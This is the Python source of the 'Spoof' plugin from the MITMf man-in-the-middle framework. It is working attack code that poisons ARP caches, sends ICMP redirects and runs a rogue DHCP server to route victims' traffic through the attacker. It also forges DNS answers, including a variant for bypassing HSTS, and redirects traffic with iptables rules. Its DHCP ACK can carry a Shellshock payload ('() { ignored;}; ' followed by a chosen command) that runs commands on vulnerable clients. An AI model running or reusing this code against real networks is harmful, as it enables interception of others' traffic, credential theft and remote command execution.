mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
480 lines
14 KiB
Python
480 lines
14 KiB
Python
import dns.resolver
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import logging
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import os
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import sys
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import threading
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import binascii
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import random
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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from netfilterqueue import NetfilterQueue
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from plugins.plugin import Plugin
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from time import sleep
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from base64 import b64decode
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from urllib import unquote
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class Spoof(Plugin):
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name = "Spoof"
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optname = "spoof"
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desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
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version = "0.4"
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has_opts = True
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req_root = True
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def initialize(self, options):
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'''Called if plugin is enabled, passed the options namespace'''
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self.options = options
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self.dnscfg = options.configfile['Spoof']['DNS']
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self.dhcpcfg = options.configfile['Spoof']['DHCP']
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self.hstscfg = options.configfile['SSLstrip+']
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self.target = options.target
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self.manualiptables = options.manualiptables
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#Makes scapy more verbose
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debug = False
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if self.options.log_level is 'debug':
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debug = True
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self.sysconfig = SystemConfig(options.listen)
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if options.arp:
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if not options.gateway:
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sys.exit("[-] --arp argument requires --gateway")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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self.arp = _ARP(options.gateway, options.interface, options.mac_address)
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self.arp.target = options.target
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self.arp.arpmode = options.arpmode
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self.arp.debug = debug
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self.arp.start()
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elif options.icmp:
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if not options.gateway:
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sys.exit("[-] --icmp argument requires --gateway")
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if not options.target:
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sys.exit("[-] --icmp argument requires --target")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
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self.icmp.debug = debug
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self.icmp.start()
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elif options.dhcp:
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if options.target:
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sys.exit("[-] --target argument invalid when DCHP spoofing")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
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self.dhcp.shellshock = options.shellshock
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self.dhcp.debug = debug
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self.dhcp.start()
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else:
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sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
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if options.dns:
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if not options.manualiptables:
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self.sysconfig.iptables_dns(0)
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self.dns = _DNS(0)
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self.dns.dnscfg = self.dnscfg
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self.dns.dns = True
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self.dns.start()
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if options.hsts:
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if not options.manualiptables:
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self.sysconfig.iptables_dns(1)
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self.dns_hsts = _DNS(1)
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self.dns_hsts.hstscfg = self.hstscfg
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self.dns_hsts.hsts = True
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self.dns_hsts.start()
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def add_options(self, options):
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group = options.add_mutually_exclusive_group(required=False)
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group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
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group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
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group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
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options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
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options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
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options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
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options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
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options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
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#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
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#added by alexander.georgiev@daloo.de
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options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
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def finish(self):
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if self.options.arp:
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self.arp.stop()
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sleep(3)
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self.arp.arp_inter = 1
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if self.target:
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print "\n[*] Re-ARPing target"
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self.arp.reARP_target(5)
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print "\n[*] Re-ARPing network"
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self.arp.reARP_net(5)
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elif self.options.icmp:
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self.icmp.stop()
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sleep(3)
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if self.options.dns:
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self.dns.stop()
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if self.options.hsts:
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self.dns_hsts.stop()
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if not self.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.set_forwarding(0)
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class SystemConfig():
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def __init__(self, http_redir_port):
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self.http_redir_port = http_redir_port
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def set_forwarding(self, value):
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with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
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file.write(str(value))
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file.close()
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def iptables_flush(self):
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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def iptables_http(self):
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os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
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def iptables_dns(self, queue_number):
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
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class _DHCP():
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def __init__(self, interface, dhcpcfg, ip, mac):
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self.interface = interface
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self.ip_address = ip
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self.mac_address = mac
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self.shellshock = None
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self.debug = False
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self.dhcpcfg = dhcpcfg
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self.rand_number = []
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self.dhcp_dic = {}
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def start(self):
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t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
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t.setDaemon(True)
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t.start()
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def dhcp_sniff(self, interface):
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sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
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def dhcp_rand_ip(self):
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pool = self.dhcpcfg['ip_pool'].split('-')
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trunc_ip = pool[0].split('.'); del(trunc_ip[3])
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max_range = int(pool[1])
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min_range = int(pool[0].split('.')[3])
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number_range = range(min_range, max_range)
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for n in number_range:
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if n in self.rand_number:
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number_range.remove(n)
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rand_number = random.choice(number_range)
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self.rand_number.append(rand_number)
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rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
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return rand_ip
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def dhcp_callback(self, resp):
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if resp.haslayer(DHCP):
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xid = resp[BOOTP].xid
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mac_addr = resp[Ether].src
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raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
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if xid in self.dhcp_dic.keys():
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client_ip = self.dhcp_dic[xid]
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else:
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client_ip = self.dhcp_rand_ip()
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self.dhcp_dic[xid] = client_ip
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if resp[DHCP].options[0][1] is 1:
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logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
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logging.info("Sending DHCP OFFER")
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "offer"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240),
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"end"]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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sendp(packet, iface=self.interface, verbose=self.debug)
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if resp[DHCP].options[0][1] is 3:
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logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "ack"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240)]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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if self.shellshock:
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logging.info("Sending DHCP ACK with shellshock payload")
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packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
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packet[DHCP].options.append("end")
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else:
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logging.info("Sending DHCP ACK")
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packet[DHCP].options.append("end")
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sendp(packet, iface=self.interface, verbose=self.debug)
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class _ICMP():
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def __init__(self, interface, target, gateway, ip_address):
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self.target = target
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self.gateway = gateway
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self.interface = interface
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self.ip_address = ip_address
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self.debug = False
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self.send = True
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self.icmp_interval = 2
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def build_icmp(self):
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pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
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IP(src=self.target, dst=self.gateway)/UDP()
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return pkt
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def start(self):
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pkt = self.build_icmp()
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t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def stop(self):
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self.send = False
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def send_icmps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
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class _ARP():
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def __init__(self, gateway, interface, mac):
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self.gateway = gateway
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self.gatewaymac = getmacbyip(gateway)
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self.mac = mac
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self.target = None
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self.targetmac = None
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self.interface = interface
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self.arpmode = 'req'
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self.debug = False
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self.send = True
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self.arp_inter = 3
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def start(self):
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if self.gatewaymac is None:
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sys.exit("[-] Error: Could not resolve gateway's MAC address")
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if self.target:
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self.targetmac = getmacbyip(self.target)
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if self.targetmac is None:
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sys.exit("[-] Error: Could not resolve target's MAC address")
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if self.arpmode == 'req':
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pkt = self.build_arp_req()
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elif self.arpmode == 'rep':
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pkt = self.build_arp_rep()
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t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def send_arps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
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def stop(self):
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self.send = False
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def build_arp_req(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
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return pkt
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def build_arp_rep(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
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return pkt
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def reARP_net(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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def reARP_target(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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class _DNS():
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def __init__(self, queue_number):
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self.hsts = False
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self.dns = False
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self.dnscfg = None
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self.hstscfg = None
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self.queue_number = queue_number
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self.nfqueue = NetfilterQueue()
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def start(self):
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t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
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t.setDaemon(True)
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t.start()
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def nfqueue_bind(self):
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self.nfqueue.bind(self.queue_number, self.nfqueue_callback)
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self.nfqueue.run()
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def stop(self):
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try:
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self.nfqueue.unbind()
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except:
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pass
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def resolve_domain(self, domain):
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try:
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logging.debug("Resolving -> %s" % domain)
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answer = dns.resolver.query(domain, 'A')
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real_ips = []
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for rdata in answer:
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real_ips.append(rdata.address)
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if len(real_ips) > 0:
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return real_ips
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except Exception:
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logging.info("Error resolving " + domain)
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def nfqueue_callback(self, payload):
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try:
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#logging.debug(payload)
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pkt = IP(payload.get_payload())
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if not pkt.haslayer(DNSQR):
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payload.accept()
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if pkt.haslayer(DNSQR):
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logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
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if self.dns:
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for k, v in self.dnscfg.items():
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if k in pkt[DNSQR].qname:
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self.modify_dns(payload, pkt, v)
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return
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payload.accept()
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elif self.hsts:
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if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
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for k,v in self.hstscfg.items():
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if v == pkt[DNSQR].qname[:-1]:
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ip = self.resolve_domain(k)
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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if 'wwww' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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if 'web' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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return
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payload.accept()
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except Exception, e:
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print "Exception occurred in nfqueue callback: " + str(e)
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def modify_dns(self, payload, pkt, ip):
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try:
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spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
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UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
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DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
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if self.hsts:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
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for i in ip:
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spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
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logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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payload.set_payload(str(spoofed_pkt))
|
|
payload.accept()
|
|
|
|
if self.dns:
|
|
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
|
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
payload.set_payload(str(spoofed_pkt))
|
|
payload.accept()
|
|
|
|
except Exception, e:
|
|
print "Exception occurred while modifying DNS: " + str(e)
|